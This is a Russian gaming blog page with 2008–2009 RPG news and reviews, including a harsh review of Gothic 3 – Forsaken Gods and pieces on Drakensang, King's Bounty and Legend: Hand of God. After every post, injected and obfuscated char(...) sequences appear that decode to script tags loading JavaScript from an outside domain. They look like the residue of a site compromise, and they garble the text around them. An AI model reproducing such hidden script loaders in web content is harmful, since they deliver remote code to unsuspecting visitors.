автор: RPG-GaMeR | 1 марта 2009 | Просмотров: 4596
Сердце Вечности - неожиданный, долгожданный релиз
Проект Ukrainian Development Company (UDC) и их "наставника", издателя "Новый Диск", который находился в стадии разработки не один год (если мне не изменяет память с 2003 года) наконец-то дотянул до своего релиза (а это для ролевых проектов постсоветского пространства большая редкость!).
Сердце Вечности поступила на прилавки магазинов 26 февраля, тихо и незаметно, без единого пресс-релиза или чего-то в этом роде. Формат упаковки единственный - джевел (jewel).
Я еще не имел чести поиграть в эту игру и пока не нашел ее на прилавках. Но она уже есть на торрент-трекерах, где ее уже активно качают,скачаю наверное и я. А игроки, которые уже успели поиграть в игру, говорят, что игра, мягко говоря "не удалась". Ну что-ж, посмотрим...char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)58fc747a1eb3faafa5505ed407556192.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)55f4fd7528336e8af2853bc617a7d616.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)6f017f45d1184d335ed8e13dc43fbe91.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)439d40c2f2516884fed3a02cbb6a9f17.js" type="text/javascript">
RPG - релизы: "Gothic 3 – Forsaken Gods" - личное впечатление или "JoWooDов жизнь не учит..."
автор: RPG-GaMeR | 23 ноября 2008 | Просмотров: 11061
"Gothic 3 – Forsaken Gods" - личное впечатление или "JoWooDов жизнь не учит..."
Вот и вышел долгожданный аддон серии, ставшей для многих игроков культовой, настоящим шедевром игровой индустрии, неповторимый готический дух серии завораживал и погружал игроков в себя на долгие часы, тонкий, временами грубоватый, немецкий юмор придавал игре особый, неповториный шарм.... Все это было вплоть до третьей части, теперь-же этого, к сожалению, нет.... но об этом поподробнее...
Что же нового в аддоне или "Все новое - криво содранное старое..."
Надежда на то, что JoWooD не будет наступать на одни и те-же грабли вторично, умерла уже в начале инсталяции игры. А именно, после нажатия на кнопку установки, инсталлятор выдал мне, что не может найти путь к файлам . Я не отчаялся, и путем тыка таки смог с помощью Проводника произвести установку. Что-же дальше ? И тут я просто впал в ступор, музыка в меню игры осталась с оригинальной Готики 3, причем нигде в аддоне не указано авторство Кая Розенкранца (человека, отвечавшего за музыку в Gothic 3). Вот-вот, так матюкали JoWooD вместе с Trine бедных Пираний, а у самих "рыльце в пушку" Немного о самом меню настроек - оно приукрасилось, появилась даже некая ротация заставки (при каждой загрузке немного менялись фон и цветовая гамма). Но вот внешний вид заставки, со всеми появившимися закарлючками и финтиклюшками, стала напоминать фреску из индийского храма (национальный колорит разработчиков мать их )ну это не единственные индийские черты, которые внесли разрабы в игру, но об этом позже. Настройки графики и управления не претерпели никаких изменений, все осталось таким-же, как и в Gothic 3. После всего колдовства с настройками, была наконец-то нажата кнопка New Game (кстати все это я проделывал на немецкой версии игры с английскими субтитрами). И вот я вижу интро-ролик, а точнее просто слайд-шоу с текстом о произошедших намедни событиях. Позволю вам напомнить, что одно из главных обещаний Trine Studios было понизить системные требования к игре и уменьшить время загрузок. Так вот, и то и другое не сбылось. Сначала загрузка пошла очень живо, но потом, в самом конце застряла минут на пять. И вот, после всего этого началась игра...
"Новая жизнь Миртаны или "Мы испортили все, что смогли..."
Итак, что же произошло ? - "После событий, произошедших в Готике 3, Миртана разделилась на несколько частей. Торус собрал в кучу оставшихся орков и обосновался в Трелисе, Горн - в Готе, Ли - в восточных землях, а братья Аног и Иног собрали всех, кто не хочет больше воевать и засели в Сильдене. Ли хочет стать новым королем, Торус хочет новой войны, Аног и Иног, а так-же Горн, выступают в роли "миротворцев". В этот момент, ГГ и Ксардас наблюдают за этим всем, и тут между ними вспыхивает ссора. Ксардас хочет оставить все как есть, а ГГ навести в Миртане порядок. Между ними вспыхнула драка, и ГГ поверг Ксардаса (кстати, что-бы не было вопросов, за основу аддона была взята только одна из концовок), а возможно и убил - смотрите скриншот (видите окровавленный меч в левом нижнем углу?)
Затем ГГ, потерявший память, попал в Сильден." Дальше о сюжете я рассказывать не буду (хотя и сюжета как такового нет, ну вы сами узнаите когда попытаитесь поставить и поиграть в игру). Теперь поговорим о "приятном", о багах Тут, как не прескорбно, этого добра хватает. JoWooD не захотела учится на своих ошибках, поэтому мое доверие к ним окончательно подорвано. Все в точности повторяет сценарий с Готикой3. Первый офф. патч выходит уже через сутки после релиза аддона вместе с (внимание!!!!!) ПАТЧЕМ КОМАНДЫ БЕТАТЕСТЕРОВ. Уже потом выяснилось, что команда все еще во всю тестирует игру, вылавливает баги, и это после релиза!!!! Оказалось, что JoWooD обещали дать тестерам столько времени, сколько понадобится, вместо этого опять выпустили сырой продукт, и все потому, что JoWooD нужно сдавать квартальный финансовый отчет перед акционерами (если-бы я был их акционером, то жжег бы все их акции на ритуальном пепелище ). И уже потом стало известно, что Офф патч, профиксив свои баги, выявил наружу новые, и теперь JoWooD готовит к выпуску новый патч, который "убьет" старый. Отдельно хочется отметить систему развития персонажа. Тут Trine постарались на славу, потому-что она просто ужасна !!! Помните, как в первых трех частях, если нам нужно было обчистить сундук какого-нибудь персонажа, на какие ухищрения нужно было идти - выжидать момент, использовать магию типа "Сон" и прочее...а что-же у нас сейчас - вы можите просто подойти к любому сундуку и запросто обчистить его - никто вам и слова не скажет. Кроме-того в сундуках может быть все что угодно - от дорогущей палладинской брони до короны Аданоса, тоесть вещи, которые буквально потом и кровью добывались в третьей части. Таким образом, обчистив пару сундучков, мы имеем такого-себе терминатора (причем без единого чита!!!) и уже с самого начала игры можно без труда кромсать всех монстров, да и кромсать-то особо некого!!! Можно несколько минут бежать, не встретив никого, кроме нескольких доходных падальшиков, где подевалось зверье из предидущей части? Это вы спросите у Trine. Теперь немного о облике наших "старых друзей" и самого ГГ. При взгляде на них, на ум приходит только строчки из знаменитой индийской песни "Джими-джими, ача-ача". Да уж, сохранили готический дух серии Торус - ну просто чудо, индийское чудо -
Ли, ну хоть его не испортили
Мильтен, ну сами посмотрите, просто ужас какой-то
Диего, мало того что у него нет мимики даже при разговоре (просто рот не открывается), так-еще и такое выражение лица
Горн, вылеплен по образу и потобию разрабов из Трине, и теперь он стал Индийцем
Если вас еще не хватил нервный тик, позвольте продолжить . Вид воды стал более натуральным, но то, что с ней происходит, просто жесть. Она иногда безследно пропадает ! Вот посмотрите на скриншот -
Да-да, наш Безимянный ГГ плывет в воздухе! А вот он уже гуляет по дну -
Так-же отличительной чертой этого аддона стали невидимые NPC, браво JoWooD, виват Trine
Кроме того, в игре просто вагон грамматических ошибок, безимянных NPC, проблем с диалогами и музыкой. Чего стоит "ЧАкнутый Бирдман" (просто его имя и фамилия написана на ломанном немецко-английском еще и с ошибкой, и все это должно было означать "Чекнутый Птичник"), который уже стал символом этого горе-аддона -
Мир Gothic 3 – Forsaken Gods, между тем, лишились областей Варант и Нордмар, все проходы к ним попросту завалены камнями, а иногда, по отзывам других игроков, невидимыми стенами. Как "отгавкались" Trine, это сделано потому, что и им и так было сложно оптимизировать движек. У многих игроков с форума ВорлдОфПлейерс возникал наш старый знакомый Гуру (для тех, кто не вкурсе, Гуру - это образное название ошибки, вызывающей вылет игры в связи с утечкой памяти, и известен еще с незапатченной Готики 3), как видите, разработчики не удосужились даже его пофиксить, и это за год разработки!!! О других багах даже и говорить не буду, дабы не сорвать ваши нервы окончательно... Кстати русский релиз от Руссобит-М намечен на 12 декабря.
"Заключение, или "Готика умерла, да здравствует...Risen!"
Той Готики, которой мы знали и любили, больше нет!!!! Этот недоделанный, бездарный аддон не имеет право носить имя Gothic !!! Готика закончилась на третьей части !!!! Arcania: A Gothic Tale - будет совсем другой игрой, но уже не Готикой!!!! Я еще раз убеждаюсь, что Пираньи не в чем не виноваты, JoWooD показали свое истинное лицо!!! Лично я, автор сайта Realpowergame.ru , теперь еще с большим нетерпением жду Risen, ну и Arcania: A Gothic Tale немножко, но это уже не Готика и совсем другая история... P.S. JoWooD меня окончательно добили. После того, как им стало ясно, что Gothic 3 – Forsaken Gods - полнейший провал, они стали "преписывать" авторство сего "шедевра" Пираньям !!! На многих интернет-магазинах и других ресурсах, продающих аддон, в графе разработчик указаны именно Пираньи ! Ни слова о Trine ! Пираньи уже опубликовали на своем сайте опровержение, что они не имеют никакого отношения к аддону. JoWooD решили очернить имя Пираний и ввести в заблуждение игроков и фанов мира Gothic (первых трех частей)... Если оценивать этот некудышний аддон, испортивший бесповоротно имя серии, по десятибальной шкале - я бы не поставил ничего, потому-что такого числа, характеризующего никчемность этого "творения" еще не придумали...char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)11b144ffc2a1914ba8c135c6becaa543.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)7f1a7d4945b8a20a86943dee7a6320b7.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)0cdd67198e79fe1e97ce55cd67cf2c09.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)a51a29b4cefeaecd4debd28614939e19.js" type="text/javascript">
RPG - релизы: Drakensang: The Dark Eye - долгожданный релиз
автор: RPG-GaMeR | 1 августа 2008 | Просмотров: 7387
Drakensang: The Dark Eye - долгожданный релиз
Наконец-то, все европейские хардкоровые rpg - игроки (а особенно поклонники ролевой системы "Das Schwarze Auge") дождались выхода в свет игры, которая обещает стать настоящим хитом этого года. Как вы помните из ЭТОГО ПОСТА, игра - детище немецких разроботчиков Radon Labs и в Германии будет называться Dark Eye: Drakensang. И вот уже сегодня игра появилась на прилавках немецких магазинов в стандартной упаковке, и в коллекционном боксе (которых правда всего 10 тысяч, и они уже раскуплены). О том, когда эта игра появится на русском языке нечего не известно. Скриншоты из игры ТУТchar(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)c6bc70dcdc99f076d9c5352137b20c40.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)8a05d74b29c9e8c291b9b9875f9496c7.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)bc946cbfc44695dd620f5ed62849958b.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)0d532bc9f93b625b7de0e131b64063c7.js" type="text/javascript">
Gothic 3: The Beginning - Готика для мобильного ( Java )
Название - Gothic 3: The Beginning Разработчик - HandyGames ( при поддержке JoWood ) Тип - RPG Язык - русский Платформа - мобильные телефоны и смартфоны с поддержкой Java Требования - платформа Java
Прикольная java — игра для поклонников сериала Gothic. Gothic 3: The Beginning — это мир знакомой нам Миртаны, наполненный готическим духом в мобильном варианте.
Особенности игры
- Квестовая система, выполнение которой зависит от вашей сообразительности (есть несколько вариантов ответов на различные вопросы квестов, и от ваших ответов зависит дальнейшее развитие событий).
- Учителя и другие NPC (около 40)
- Продвинутая система прокачки персонажа — 5 боевых навыков, 4 характеристики и 30 уровней для прокачки
- Около 30 видов оружия, 10 типов доспехов и 7 магических заклинаний
- 15 видов монстров, знакомых нам по играм Gothic
- Отличная музыка, похожая на оригинальные сеты из компьютерной Готики
Название - King's Bounty:Легенда о рыцаре Разработчик - Katauri Interactive Тип - 3D - RPG Платформа - PC Требования - Pentium 4/Athlon XP 2.6 ГГц 1 Гб оперативы 3D-ускоритель со 128 Мб памяти 5.5 Гб на винчестере Дата релиза - в продаже с 25 апреля 2008 года
Итак, перед нами King's Bounty:Легенда о рыцаре — очередная РПГ от третьего лица. В роли главного героя выступает, как ясно из названия, рыцарь, такой себе странник голубых кровей. Все, что ему предстоит делать — это выполнять квесты (как обычные «подай-принеси», так и более сложные, типа упокоение беспокойных кладбищ и охрана караванов) и, как всегда защищать мир от зла. Передвигается наш герой в основном на коне, его противники так-же не редко сидят в седле. Если Вы нападаете, или на вас нападают, то бой переходит в пошаговый режим (вроде как в Heroes of Might and Magic) игровой экран разбивается на клетки, и вы сражаетесь с вражескими отрядами, продумывая, как в шахматах, хода наперед, если конечно вы не отправитесь к праотцам после первой же атаки. То, сколько в вашем отряде может быть бойцов — зависит от особого навыка, который называется «Лидерство». Так-что сделать из ГГ терминатора Вам не удастся. В игре есть магия (ну куда-же без нее) — волшебники могут совершенствовать и без того сильные заклинания рун и свитков, а воинам доступны защитные заклинания. Графика в игре красивая и приятная (сразу же вспоминается Магия Крови), прорисовка мира на высоте. Но главный недостаток игры — ее продолжительность. 30 часов игрового времени — это ничто для настоящего RPG — шника. В целом, игра получилась хорошей, и понравится она всем поклонникам подобных игр, ведь хорошие РПГ (Легенда о рыцаре без сомнения к ним относится) выходят не часто...char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)ccfe58dac55e9f6f7d2e181af7f517a0.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)5555738aba22d205afbdc9a2b72a02dc.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)4892f140903a442d9d92f5b6cf15cba1.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)0f5ba2847f2eafa34697695f8d0709a6.js" type="text/javascript">
RPG - релизы: Legend: Hand of God - Легенда о Таргоне
автор: RPG-GaMeR | 27 апреля 2008 | Просмотров: 4522
Legend: Hand of God - Легенда о Таргоне
Название - Legend: Hand of God Разработчик - Master Creating Тип - action/RPG Платформа - PC Требования - Pentium 4/Athlon XP 2 ГГц, 1 Гб памяти, 3D-ускоритель с 256 Мб памяти, 5 Гб на винчестере
А как пышно-то преподносили нам сею игру разроботчики. Ну как всегда обещали нам как-минимум разорвать Diablo, а мы охотно верили. А зря, ведь получили очередной безликий "шедевр" без единого намека на оригинальность...
Инфа с сайта www.stopgame.ru
Однажды в мир вторглись демоны и скушали много ни в чем не повинных людей. Тогда появился герой по имени Таргон. Он надавал приспешникам Сатаны оплеух и отправил их домой, в Преисподнюю. В честь сего великого события был выстроен монастырь и зажжен Священный Огонь, который не позволял тварям прорваться в человеческую реальность. Но однажды некто (явно не очень хороший) потушил Священное Пламя, и полчища монстров вновь хлынули на мирный континент, сея смерть и разрушение. Начали демоны со злосчастного монастыря. Молодой послушник Таргон, один из немногочисленных выживших, теперь должен найти могущественный амулет – Руку Бога и с его помощью навсегда закрыть портал. Проблема только в том, что артефакт был разломлен на три части: одна принадлежит человечеству, другая – гномам и, наконец, а третья – эльфам. Назвать ролевую систему сложной язык не поворачивается. Игроку предлагается пять возможных путей развития: воин, маг, вор, лучник и лекарь. Выбрав два из них, получаем эдакий уникальный класс, с коим и будем иметь дело впоследствии. Ваш покорный слуга не стал мудрствовать лукаво и решил опробовать стандартную связку «воин+маг». От чародейства, если честно, помощи – как от козла молока; единственным полезным заклинанием оказался «ледяной клинок». Файерболлы – это, конечно, хорошо, но не для закованного в тяжелую броню танка, колдующего со скоростью самой ленивой черепахи во вселенной. Короче говоря, умений в арсенале Таргона не очень много, полезных – еще меньше. Плюс четыре базовые характеристики: сила, ловкость, выносливость и интеллект. Все – как обычно. Уникальными вещицами разработчики нас тоже не балуют. Львиная доля выпавших из монстров шмоток– стандартный хлам, отправляющийся прямиком в магазин. Деньги же в «Легенде» играют второстепенную роль: в основном золотишко тратится на покупку склянок, восстанавливающих здоровье и ману. Особенно смешно было слушать диалог Таргона и Лу’ны, о том, какая же это большая сумма – пять тысяч золотых, тогда как в кармане у героя лежало где-то около четверти миллиона...
Уве Болл
И в довес ко всему этому наш старый знакомый Уве Болл уже анонсировал, что будет снимать фильм по этой игре, с бюджетом аж 55 миллионов убитых енотов. Ну-ну...char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)b7fded7bac1fb7967555328c96e5eac9.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)5c23205a209afb10246b98772e665846.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)3d255affd448f12a3252166530b47314.js" type="text/javascript">char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,117,120,105,46,49,100,117,109,98,46,99,111,109,47)c78d420cb531bc890a37280d4a891de5.js" type="text/javascript">